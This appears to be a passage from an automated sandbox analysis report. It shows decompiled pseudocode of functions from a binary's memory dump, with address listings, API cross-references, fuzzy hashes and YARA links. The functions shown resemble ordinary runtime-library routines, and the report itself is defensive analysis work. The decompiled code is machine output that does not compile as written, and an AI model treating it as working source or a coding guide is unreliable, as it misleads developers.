											if((_t562 & 0x00000010) == 0) {
												goto L39;
											}
											_t397 = 1;
											goto L40;
										}
										__eflags = _t562 & 0x00000010;
										if((_t562 & 0x00000010) == 0) {
											goto L35;
										} else {
											_t396 = 1;
											_t641 = 0;
											goto L36;
										}
									}
									__eflags = _t536 - 5;
									if(_t536 != 5) {
										goto L115;
									} else {
										memcpy(_t518 + 0x4590, _t518 + 0x21e4, _t536 << 2);
										_t651 =  *(_t518 + 0x4598);
										 *(_t518 + 0x45ac) =  *(_t518 + 0x4598) & 0x00000001;
										_t628 = _t651 >> 0x00000001 & 0x00000001;
										_t638 = _t651 >> 0x00000003 & 0x00000001;
										 *(_t518 + 0x45ad) = _t628;
										 *(_t518 + 0x45ae) = _t651 >> 0x00000002 & 0x00000001;
										 *(_t518 + 0x45af) = _t638;
										__eflags = _t628;
										if(_t628 != 0) {
											 *((intOrPtr*)(_t518 + 0x45a4)) = E0135C29E(_t698 + 0x24);
										}
										__eflags =  *(_t518 + 0x45af);
										if( *(_t518 + 0x45af) != 0) {
											_t505 = E0135C269(_t698 + 0x24) & 0x0000ffff;
											 *(_t518 + 0x45a8) = _t505;
											 *(_t518 + 0x6cd8) = _t505;
										}
										goto L121;
									}
								}
								__eflags =  *(_t518 + 0x21ec) & 0x00000002;
								if(( *(_t518 + 0x21ec) & 0x00000002) != 0) {
									goto L20;
								}
								goto L23;
							}
							L20:
							_push(6);
							goto L24;
						} else {
							E01351EF8(_t518);
							L133:
							E0135159C(_t698 + 0x24);
							 *[fs:0x0] =  *((intOrPtr*)(_t698 - 0xc));
							return  *((intOrPtr*)(_t698 + 0x1c));
						}
					}
					L8:
					E01353DAB(_t518, _t638);
					goto L133;
				}
				_t638 =  *((intOrPtr*)(_t518 + 0x6cc0)) + _t655;
				asm("adc eax, ecx");
				_t707 =  *(_t518 + 0x6ca4);
				if(_t707 < 0 || _t707 <= 0 &&  *((intOrPtr*)(_t518 + 0x6ca0)) <= _t638) {
					goto L6;
				} else {
					 *((char*)(_t698 + 0x5f)) = 1;
					E01353C40(_t518);
					_push(8);
					_push(_t698 + 0x14);
					if( *((intOrPtr*)( *_t518 + 0xc))() != 8) {
						goto L8;
					} else {
						_t697 = _t518 + 0x1024;
						E0135607D(_t697, 0, 4,  *((intOrPtr*)(_t518 + 0x21bc)) + 0x5024, _t698 + 0x14, 0, 0, 0, 0);
						 *((intOrPtr*)(_t698 + 0x44)) = _t697;
						goto L7;
					}
				}
			}

0x01352692
0x0135269b
0x013526a5
0x013526ac
0x013526b3
0x013526b6
0x013526bf
0x013526c2
0x013526c5
0x013526cc
0x01352734
0x01352734
0x01352737
0x0135273b
0x01352744
0x01352760
0x01352766
0x01352775
0x0135277d
0x01352783
0x0135278e
0x01352799
0x0135279c
0x013527a2
0x013527a8
0x013527aa
0x013527b8
0x013527b8
0x013527bb
0x013527f0
0x013527bd
0x013527bd
0x013527bd
0x013527c0
0x013527e4
0x013527c2
0x013527c2
0x013527c2
0x013527c5
0x013527d8
0x013527c7
0x013527c7
0x013527ca
0x013527cc
0x013527cc
0x013527ca
0x013527c5
0x013527c0
0x013527fa
0x01352800
0x01352806
0x01352809
0x0135280f
0x01352812
0x0135281d
0x01352820
0x01352821
0x01352824
0x01352844
0x0135284a
0x01352850
0x01352853
0x01352859
0x0135285c
0x0135285f
0x01352f78
0x01352f80
0x01352f87
0x01352f8e
0x01352f9b
0x01352fad
0x01352fb2
0x01352fb8
0x01352fca
0x01352fd0
0x01352fdd
0x01352fea
0x01352ff7
0x01352ffd
0x01352fff
0x0135300c
0x0135300e
0x0135300e
0x0135300f
0x0135300f
0x0135301b
0x0135302b
0x0135302b
0x0135302e
0x01353034
0x0135303a
0x0135303c
0x0135303d
0x01353042
0x0135304a
0x01353050
0x013530d9
0x013530dc
0x00000000
0x013530dc
0x01353056
0x0135305c
0x0135305f
0x00000000
0x00000000
0x01353061
0x01353064
0x00000000
0x00000000
0x01353066
0x01353069
0x013530ab
0x013530b2
0x013530b9
0x013530be
0x013530c2
0x00000000
0x00000000
0x013530cb
0x013530d0
0x00000000
0x013530d0
0x0135306b
0x01353072
0x00000000
0x00000000
0x0135307f
0x0135307f
0x01353082
0x01353088
0x0135308b
0x0135308f
0x01353091
0x01353098
0x0135309c
0x0135309f
0x013530a2
0x013530a2
0x013530a2
0x013530a7
0x013530a9
0x00000000
0x00000000
0x00000000
0x013530a9
0x01353001
0x01353003
0x0135300a
0x00000000
0x00000000
0x00000000
0x0135300a
0x01352865
0x01352f4e
0x01352f4e
0x01352f58
0x01352f66
0x01352f6c
0x01352f6c
0x00000000
0x01352f58
0x0135286b
0x0135286e
0x01352902
0x0135290a
0x01352919
0x0135291d
0x01352920
0x01352927
0x01352930
0x01352932
0x01352936
0x0135293c
0x01352941
0x0135294d
0x0135295a
0x01352967
0x0135296d
0x01352970
0x0135297d
0x0135297d
0x0135297d
0x0135297f
0x01352981
0x01352981
0x01352987
0x0135298a
0x01352996
0x01352996
0x01352998
0x01352998
0x013529a3
0x013529a5
0x013529aa
0x013529b0
0x013529b6
0x013529bf
0x013529cf
0x013529cf
0x013529b8
0x013529b8
0x013529ba
0x013529ba
0x013529d1
0x013529e7
0x013529ed
0x013529fb
0x01352a06
0x01352a11
0x01352a14
0x01352a26
0x01352a34
0x01352a3f
0x01352a4f
0x01352a5d
0x01352a60
0x01352a65
0x01352a68
0x01352a6b
0x01352a6e
0x01352a71
0x01352a73
0x01352a75
0x01352a77
0x01352a77
0x01352a75
0x01352a80
0x01352a86
0x01352a8c
0x01352ad1
0x01352ad1
0x01352ad4
0x01352ade
0x01352ae0
0x01352af2
0x01352af2
0x01352afc
0x01352afc
0x01352b02
0x01352b04
0x01352b0e
0x01352b13
0x01352b15
0x01352b17
0x01352b21
0x01352b21
0x01352b13
0x01352b28
0x01352b2b
0x01352b37
0x01352b37
0x00000000
0x01352b2d
0x01352b2d
0x01352b30
0x00000000
0x00000000
0x01352b34
0x01352b39
0x01352b39
0x01352b45
0x01352b45
0x01352b47
0x01352b4d
0x01352b7b
0x01352b7f
0x01352b81
0x01352b83
0x01352b83
0x01352b83
0x01352b86
0x01352b86
0x01352b91
0x01352b97
0x01352b9e
0x01352ba4
0x01352ba6
0x01352bac
0x01352bb3
0x01352bb9
0x01352bc0
0x01352bc6
0x01352bc6
0x01352bcc
0x01352bcf
0x01352bd4
0x01352bd7
0x01352bd9
0x01352bdb
0x01352bdd
0x01352bdd
0x01352beb
0x01352bf0
0x01352bf2
0x01352bf6
0x01352bfd
0x01352c7e
0x01352c88
0x01352c93
0x01352c96
0x01352c9d
0x01352c9f
0x01352c9f
0x01352c9f
0x01352ca2
0x01352ca4
0x01352da6
0x01352caa
0x01352cb3
0x01352cb6
0x01352cc5
0x01352ccf
0x01352cd3
0x01352cda
0x01352cdc
0x01352ce2
0x01352ce9
0x01352cf2
0x01352cf8
0x01352cf9
0x01352d05
0x01352d09
0x01352d0f
0x01352d11
0x01352d19
0x01352d1f
0x01352d21
0x01352d2b
0x01352d2d
0x01352d38
0x01352d40
0x01352d5d
0x01352d6d
0x01352d73
0x01352d76
0x01352d81
0x01352d89
0x01352d8e
0x01352d91
0x01352d94
0x01352d97
0x01352d99
0x01352d9b
0x01352d9e
0x01352d9e
0x01352d99
0x01352ce9
0x01352cdc
0x01352daf
0x01352db6
0x01352db8
0x01352dba
0x01352dba
0x01352bff
0x01352c01
0x01352c04
0x01352c07
0x01352c0e
0x01352c13
0x01352c1f
0x01352c24
0x01352c27
0x01352c29
0x01352c2b
0x01352c3e
0x01352c48
0x01352c48
0x01352c4d
0x01352c4d
0x01352c4d
0x01352c4f
0x01352c52
0x01352c54
0x01352c56
0x01352c5b
0x01352c62
0x01352c63
0x01352c63
0x01352c6b
0x01352c6b
0x01352dc1
0x01352dc8
0x01352dd6
0x01352dd6
0x01352de4
0x01352de9
0x01352df0
0x01352ed4
0x01352ef5
0x01352efe
0x01352f0a
0x01352f10
0x01352f18
0x01352f1a
0x01352f27
0x01352f2e
0x01352f33
0x01352f37
0x01352f44
0x01352f44
0x01352f37
0x00000000
0x01352df6
0x01352df9
0x01352e07
0x01352e10
0x01352e19
0x01352e1c
0x01352e1e
0x01352e20
0x01352e23
0x01352e25
0x01352e28
0x01352e2b
0x01352e2d
0x01352e35
0x01352e37
0x01352e3a
0x00000000
0x00000000
0x01352e40
0x01352e45
0x00000000
0x00000000
0x01352e47
0x01352e49
0x01352e58
0x01352e58
0x01352e65
0x01352e6a
0x01352e6d
0x01352e6f
0x01352e6f
0x01352e6f
0x01352e6f
0x01352e72
0x01352e74
0x01352e77
0x01352e77
0x01352e7a
0x01352eab
0x01352eab
0x01352eab
0x01352eb2
0x01352eb9
0x01352ebe
0x01352e7c
0x01352e7e
0x01352e81
0x01352e81
0x01352e84
0x01352e87
0x01352e89
0x01352e96
0x01352e98
0x01352e9e
0x01352ea0
0x01352ea3
0x01352ea3
0x01352ea3
0x01352ea8
0x00000000
0x01352ea8
0x01352ec1
0x01352ec1
0x01352ec2
0x01352ec5
0x01352ec5
0x01352ece
0x01352ed1
0x00000000
0x01352ed1
0x01352df0
0x01352b5a
0x01352b5c
0x01352b61
0x01352b65
0x01352b67
0x01352b75
0x01352b77
0x00000000
0x01352b77
0x01352b69
0x01352b6c
0x00000000
0x00000000
0x01352b70
0x00000000
0x01352b71
0x01352b2b
0x01352ae2
0x01352ae4
0x00000000
0x00000000
0x01352ae6
0x01352ae8
0x01352aea
0x01352aea
0x00000000
0x01352a8e
0x01352a8e
0x01352a8e
0x01352a91
0x01352ac7
0x00000000
0x01352ac7
0x01352a94
0x01352a94
0x01352a97
0x01352abb
0x00000000
0x01352abb
0x01352a99
0x01352a99
0x01352a9c
0x01352aaf
0x01352aaf
0x00000000
0x01352aaf
0x01352a9e
0x01352aa1
0x00000000
0x00000000
0x01352aa3
0x00000000
0x01352aa3
0x01352a8c
0x0135298c
0x0135298f
0x00000000
0x00000000
0x01352993
0x00000000
0x01352993
0x01352972
0x01352975
0x00000000
0x01352977
0x01352977
0x01352979
0x00000000
0x01352979
0x01352975
0x01352874
0x01352877
0x00000000
0x0135287d
0x01352889
0x01352891
0x01352899
0x013528a8
0x013528b0
0x013528b3
0x013528b9
0x013528bf
0x013528c5
0x013528c7
0x013528d1
0x013528d1
0x013528d7
0x013528de
0x013528ec
0x013528ef
0x013528f5
0x013528f5
0x00000000
0x013528de
0x01352877
0x01352814
0x0135281b
0x00000000
0x00000000
0x00000000
0x0135281b
0x0135280b
0x0135280b
0x00000000
0x013527ac
0x013527ae
0x013530df
0x013530e2
0x013530f0
0x013530fb
0x013530fb
0x013527aa
0x01352746
0x01352748
0x00000000
0x01352748
0x013526d6
0x013526d8
0x013526da
0x013526e0
0x00000000
0x013526ec
0x013526ee
0x013526f2
0x013526fc
0x013526fe
0x01352707
0x00000000
0x01352709
0x01352719
0x0135272a
0x0135272f
0x00000000
0x0135272f
0x01352707

APIs

__EH_prolog.LIBCMT ref: 0135269B
_strlen.LIBCMT ref: 01352C1F

Part of subcall function 01360FDE: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0135B312,00000000,?,?,?,0004034C), ref: 01360FFA

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01352D76

Strings

CMT, xrefs: 01352DA9

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 74e83c903ed5a95ae47544e95109fc61122b33a4d585bfc8af5284c6c5666892
Instruction ID: 3b8f7695f238471e13f2a52817ab46673182e6fa7c86d9598df3e9cc5488e8d7
Opcode Fuzzy Hash: 74e83c903ed5a95ae47544e95109fc61122b33a4d585bfc8af5284c6c5666892
Instruction Fuzzy Hash: 7D62F271600245CFDF59DF78C884EEA3BE5AF64708F09457EED9A8B282DB709944CB60

Uniqueness

Uniqueness Score: -1.00%

Function 01377BE1, Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E01377BE1(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t66 = __edi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0x138d668; // 0xea6a5ad2
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E0136E690(_t41);
					_pop(_t61);
				}
				E0136E920(_t66,  &_v804, 0, 0x50);
				E0136E920(_t66,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t25 =  &_v0; // 0x1b
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // -785
				if(UnhandledExceptionFilter(_t36) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E0136E690(_t57);
				}
				return E0136E203(_t57, _v8 ^ _t69);
			}

0x01377be1
0x01377be1
0x01377be1
0x01377be1
0x01377bec
0x01377bf1
0x01377bf3
0x01377bfb
0x01377bfd
0x01377c00
0x01377c05
0x01377c05
0x01377c11
0x01377c24
0x01377c32
0x01377c38
0x01377c3e
0x01377c44
0x01377c4a
0x01377c50
0x01377c56
0x01377c5c
0x01377c62
0x01377c68
0x01377c6f
0x01377c76
0x01377c7d
0x01377c84
0x01377c8b
0x01377c92
0x01377c93
0x01377c9c
0x01377ca2
0x01377ca2
0x01377ca5
0x01377cab
0x01377cb8
0x01377cc1
0x01377cca
0x01377cd3
0x01377ce1
0x01377ce3
0x01377ce9
0x01377cf8
0x01377d04
0x01377d07
0x01377d0c
0x01377d1b

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 01377CD9
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 01377CE3
UnhandledExceptionFilter.KERNEL32(-00000311,?,?,?,?,?,00000000), ref: 01377CF0

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: e32e0da14dbdfcac3cf536d407388ed0837496ae25c99c4f3f484c254c49b975
Instruction ID: 715fa37de38e839e077e61f4ebe68ec85b1e9d3e924fffab9a416bec6015fc16
Opcode Fuzzy Hash: e32e0da14dbdfcac3cf536d407388ed0837496ae25c99c4f3f484c254c49b975
Instruction Fuzzy Hash: 8A31C57590131D9BCB61DF68D888B9DBBB8BF08314F5081EAE41CA7250E7749B85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 01379FD3, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E01379FD3(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v32;
				CHAR* _v36;
				signed int _v48;
				char _v286;
				signed int _v287;
				struct _WIN32_FIND_DATAA _v332;
				intOrPtr* _v336;
				signed int _v340;
				signed int _v344;
				intOrPtr _v372;
				signed int _t35;
				signed int _t40;
				signed int _t43;
				intOrPtr _t45;
				signed char _t47;
				intOrPtr* _t55;
				union _FINDEX_INFO_LEVELS _t57;
				union _FINDEX_INFO_LEVELS _t58;
				signed int _t62;
				signed int _t65;
				void* _t71;
				void* _t73;
				signed int _t74;
				void* _t77;
				CHAR* _t78;
				intOrPtr* _t82;
				intOrPtr _t84;
				void* _t86;
				intOrPtr* _t87;
				signed int _t91;
				signed int _t95;
				void* _t100;
				intOrPtr _t101;
				signed int _t104;
				union _FINDEX_INFO_LEVELS _t105;
				void* _t110;
				intOrPtr _t111;
				void* _t112;
				signed int _t117;
				void* _t118;
				signed int _t119;
				void* _t120;
				void* _t121;

				_push(__ecx);
				_t82 = _a4;
				_t2 = _t82 + 1; // 0x1
				_t100 = _t2;
				do {
					_t35 =  *_t82;
					_t82 = _t82 + 1;
				} while (_t35 != 0);
				_push(__edi);
				_t104 = _a12;
				_t84 = _t82 - _t100 + 1;
				_v8 = _t84;
				if(_t84 <= (_t35 | 0xffffffff) - _t104) {
					_push(__ebx);
					_push(__esi);
					_t5 = _t104 + 1; // 0x1
					_t77 = _t5 + _t84;
					_t110 = E01377B1B(_t84, _t77, 1);
					_pop(_t86);
					__eflags = _t104;
					if(_t104 == 0) {
						L6:
						_push(_v8);
						_t77 = _t77 - _t104;
						_t40 = E0137DD71(_t86, _t110 + _t104, _t77, _a4);
						_t119 = _t118 + 0x10;
						__eflags = _t40;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t71 = E0137A212(_a16, _t100, __eflags, _t110);
							E01377A50(0);
							_t73 = _t71;
							goto L8;
						}
					} else {
						_push(_t104);
						_t74 = E0137DD71(_t86, _t110, _t77, _a8);
						_t119 = _t118 + 0x10;
						__eflags = _t74;
						if(_t74 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E01377DBB();
							asm("int3");
							_t117 = _t119;
							_t120 = _t119 - 0x150;
							_t43 =  *0x138d668; // 0xea6a5ad2
							_v48 = _t43 ^ _t117;
							_t87 = _v32;
							_push(_t77);
							_t78 = _v36;
							_push(_t110);
							_t111 = _v332.cAlternateFileName;
							_push(_t104);
							_v372 = _t111;
							while(1) {
								__eflags = _t87 - _t78;
								if(_t87 == _t78) {
									break;
								}
								_t45 =  *_t87;
								__eflags = _t45 - 0x2f;
								if(_t45 != 0x2f) {
									__eflags = _t45 - 0x5c;
									if(_t45 != 0x5c) {
										__eflags = _t45 - 0x3a;
										if(_t45 != 0x3a) {
											_t87 = E0137DDC0(_t78, _t87);
											continue;
										}
									}
								}
								break;
							}
							_t101 =  *_t87;
							__eflags = _t101 - 0x3a;
							if(_t101 != 0x3a) {
								L19:
								_t105 = 0;
								__eflags = _t101 - 0x2f;
								if(_t101 == 0x2f) {
									L23:
									_t47 = 1;
									__eflags = 1;
								} else {
									__eflags = _t101 - 0x5c;
									if(_t101 == 0x5c) {
										goto L23;
									} else {
										__eflags = _t101 - 0x3a;
										if(_t101 == 0x3a) {
											goto L23;
										} else {
											_t47 = 0;
										}
									}
								}
								_t89 = _t87 - _t78 + 1;
								asm("sbb eax, eax");
								_v340 =  ~(_t47 & 0x000000ff) & _t87 - _t78 + 0x00000001;
								E0136E920(_t105,  &_v332, _t105, 0x140);
								_t121 = _t120 + 0xc;
								_t112 = FindFirstFileExA(_t78, _t105,  &_v332, _t105, _t105, _t105);
								_t55 = _v336;
								__eflags = _t112 - 0xffffffff;
								if(_t112 != 0xffffffff) {
									_t91 =  *((intOrPtr*)(_t55 + 4)) -  *_t55;
									__eflags = _t91;
									_t92 = _t91 >> 2;
									_v344 = _t91 >> 2;
									do {
										__eflags = _v332.cFileName - 0x2e;
										if(_v332.cFileName != 0x2e) {
											L36:
											_push(_t55);
											_t57 = E01379FD3(_t78, _t92, _t105, _t112,  &(_v332.cFileName), _t78, _v340);
											_t121 = _t121 + 0x10;
											__eflags = _t57;
											if(_t57 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											_t92 = _v287;
											__eflags = _t92;
											if(_t92 == 0) {
												goto L37;
											} else {
												__eflags = _t92 - 0x2e;
												if(_t92 != 0x2e) {
													goto L36;
												} else {
													__eflags = _v286;
													if(_v286 == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t62 = FindNextFileA(_t112,  &_v332);
										__eflags = _t62;
										_t55 = _v336;
									} while (_t62 != 0);
									_t102 =  *_t55;
									_t95 = _v344;
									_t65 =  *((intOrPtr*)(_t55 + 4)) -  *_t55 >> 2;
									__eflags = _t95 - _t65;
									if(_t95 != _t65) {
										E01375030(_t78, _t105, _t112, _t102 + _t95 * 4, _t65 - _t95, 4, E01379E2B);
									}
								} else {
									_push(_t55);
									_t57 = E01379FD3(_t78, _t89, _t105, _t112, _t78, _t105, _t105);
									L26:
									_t105 = _t57;
								}
								__eflags = _t112 - 0xffffffff;
								if(_t112 != 0xffffffff) {
									FindClose(_t112);
								}
								_t58 = _t105;
							} else {
								__eflags = _t87 -  &(_t78[1]);
								if(_t87 ==  &(_t78[1])) {
									goto L19;
								} else {
									_push(_t111);
									_t58 = E01379FD3(_t78, _t87, 0, _t111, _t78, 0, 0);
								}
							}
							__eflags = _v12 ^ _t117;
							return E0136E203(_t58, _v12 ^ _t117);
						} else {
							goto L6;
						}
					}
				} else {
					_t73 = 0xc;
					L8:
					return _t73;
				}
				L40:
			}

0x01379fd8
0x01379fd9
0x01379fdc
0x01379fdc
0x01379fdf
0x01379fdf
0x01379fe1
0x01379fe2
0x01379feb
0x01379fec
0x01379fef
0x01379ff2
0x01379ff7
0x01379ffe
0x01379fff
0x0137a000
0x0137a003
0x0137a00d
0x0137a010
0x0137a011
0x0137a013
0x0137a027
0x0137a027
0x0137a02a
0x0137a034
0x0137a039
0x0137a03c
0x0137a03e
0x00000000
0x0137a040
0x0137a044
0x0137a04d
0x0137a053
0x00000000
0x0137a056
0x0137a015
0x0137a015
0x0137a01b
0x0137a020
0x0137a023
0x0137a025
0x0137a05c
0x0137a05e
0x0137a05f
0x0137a060
0x0137a061
0x0137a062
0x0137a063
0x0137a068
0x0137a06c
0x0137a06e
0x0137a074
0x0137a07b
0x0137a07e
0x0137a081
0x0137a082
0x0137a085
0x0137a086
0x0137a089
0x0137a08a
0x0137a0ab
0x0137a0ab
0x0137a0ad
0x00000000
0x00000000
0x0137a092
0x0137a094
0x0137a096
0x0137a098
0x0137a09a
0x0137a09c
0x0137a09e
0x0137a0a9
0x00000000
0x0137a0a9
0x0137a09e
0x0137a09a
0x00000000
0x0137a096
0x0137a0af
0x0137a0b1
0x0137a0b4
0x0137a0cd
0x0137a0cd
0x0137a0cf
0x0137a0d2
0x0137a0e2
0x0137a0e4
0x0137a0e4
0x0137a0d4
0x0137a0d4
0x0137a0d7
0x00000000
0x0137a0d9
0x0137a0d9
0x0137a0dc
0x00000000
0x0137a0de
0x0137a0de
0x0137a0de
0x0137a0dc
0x0137a0d7
0x0137a0ea
0x0137a0f2
0x0137a0f6
0x0137a104
0x0137a109
0x0137a11e
0x0137a120
0x0137a126
0x0137a129
0x0137a15b
0x0137a15b
0x0137a15d
0x0137a160
0x0137a166
0x0137a166
0x0137a16d
0x0137a187
0x0137a187
0x0137a196
0x0137a19b
0x0137a19e
0x0137a1a0
0x00000000
0x00000000
0x00000000
0x00000000
0x0137a16f
0x0137a16f
0x0137a175
0x0137a177
0x00000000
0x0137a179
0x0137a179
0x0137a17c
0x00000000
0x0137a17e
0x0137a17e
0x0137a185
0x00000000
0x00000000
0x00000000
0x00000000
0x0137a185
0x0137a17c
0x0137a177
0x00000000
0x0137a1a2
0x0137a1aa
0x0137a1b0
0x0137a1b2
0x0137a1b2
0x0137a1ba
0x0137a1bf
0x0137a1c7
0x0137a1ca
0x0137a1cc
0x0137a1e0
0x0137a1e5
0x0137a12b
0x0137a12b
0x0137a12f
0x0137a137
0x0137a137
0x0137a137
0x0137a139
0x0137a13c
0x0137a13f
0x0137a13f
0x0137a145
0x0137a0b6
0x0137a0b9
0x0137a0bb
0x00000000
0x0137a0bd
0x0137a0bd
0x0137a0c3
0x0137a0c8
0x0137a0bb
0x0137a14c
0x0137a157
0x00000000
0x00000000
0x00000000
0x0137a025
0x01379ff9
0x01379ffb
0x0137a057
0x0137a05b
0x0137a05b
0x00000000

Strings

., xrefs: 0137A166

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 6d2aabf53a397001da3e6970452d9f5d656bddd7240c49f7dbac23c9ab196245
Instruction ID: ffa29ad49fa829ddfa2c5e9cee5d8907d8400d29d8902a189e2f6a1ede321b9f
Opcode Fuzzy Hash: 6d2aabf53a397001da3e6970452d9f5d656bddd7240c49f7dbac23c9ab196245
Instruction Fuzzy Hash: A831E571900249AFDB358E7CCC84EFF7BBDDF86318F0446A8E51997251E6349D458B60

Uniqueness

Uniqueness Score: -1.00%

Function 0137C0B0, Relevance: 3.5, APIs: 2, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E0137C0B0(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t197;
				signed int _t198;
				signed int* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t219;
				intOrPtr _t225;
				void* _t228;
				signed int _t230;
				signed int _t247;
				signed int _t250;
				void* _t253;
				signed int _t256;
				signed int* _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				intOrPtr* _t266;
				signed int _t267;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int* _t274;
				signed int* _t278;
				signed int _t279;
				signed int _t280;
				intOrPtr _t282;
				void* _t286;
				signed char _t292;
				signed int _t295;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				intOrPtr* _t314;
				signed int _t318;
				signed int _t322;
				signed int* _t328;
				signed int _t330;
				signed int _t331;
				signed int _t333;
				void* _t334;
				signed int _t336;
				signed int _t338;
				signed int _t341;
				signed int _t342;
				signed int* _t344;
				signed int _t349;
				signed int _t351;
				void* _t355;
				signed int _t359;
				signed int _t360;
				signed int _t362;
				signed int* _t368;
				signed int* _t369;
				signed int* _t370;
				signed int* _t373;

				_t262 = _a4;
				_t197 =  *_t262;
				if(_t197 != 0) {
					_t328 = _a8;
					_t267 =  *_t328;
					__eflags = _t267;
					if(_t267 != 0) {
						_t3 = _t197 - 1; // -1
						_t349 = _t3;
						_t4 = _t267 - 1; // -1
						_t198 = _t4;
						_v16 = _t349;
						__eflags = _t198;
						if(_t198 != 0) {
							__eflags = _t198 - _t349;
							if(_t198 > _t349) {
								L23:
								__eflags = 0;
								return 0;
							} else {
								_t46 = _t198 + 1; // 0x0
								_t306 = _t349 - _t198;
								_v60 = _t46;
								_t269 = _t349;
								__eflags = _t349 - _t306;
								if(_t349 < _t306) {
									L21:
									_t306 = _t306 + 1;
									__eflags = _t306;
								} else {
									_t368 =  &(_t262[_t349 + 1]);
									_t341 =  &(( &(_t328[_t269 - _t306]))[1]);
